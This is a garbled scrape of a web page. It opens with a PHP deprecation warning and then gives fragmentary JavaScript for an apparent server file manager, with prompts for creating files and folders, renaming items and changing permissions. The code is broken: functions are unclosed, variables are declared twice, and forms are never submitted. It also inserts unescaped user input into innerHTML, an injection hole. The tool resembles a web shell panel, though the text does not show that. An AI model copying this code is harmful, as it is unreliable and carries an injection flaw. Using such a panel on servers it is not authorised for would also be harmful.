: str_replace(): Passing null to parameter #2 ($replace) of type array|string is deprecated in
var fileName = prompt('File name:', 'newfile.txt');
var content = prompt('Content (optional):', '');
var form = document.createElement('form');
form.innerHTML = '<input type="hidden" name="new" value="' + fileName + '">' +
'<input type="hidden" name="content" value="' + (content || '') + '">';
document.body.appendChild(form);
var folderName = prompt('Folder name:', 'newfolder');
var form = document.createElement('form');
form.innerHTML = '<input type="hidden" name="new" value="' + folderName + '">' +
'<input type="hidden" name="type" value="dir">';
document.body.appendChild(form);
function renameItem(oldName) {
var newName = prompt('New name:', oldName);
if(newName && newName !== oldName) {
var form = document.createElement('form');
form.innerHTML = '<input type="hidden" name="oldname" value="' + oldName + '">' +
'<input type="hidden" name="newname" value="' + newName + '">';
document.body.appendChild(form);
function changePermissions(item, currentPerm) {
var newPerm = prompt('New permissions (e.g., 755):', currentPerm);
var form = document.createElement('form');
form.innerHTML = '<input type="hidden" name="chmod_item" value="' + item + '">' +
'<input type="hidden" name="chmod_value" value="' + newPerm + '">';
document.body.appendChild(form);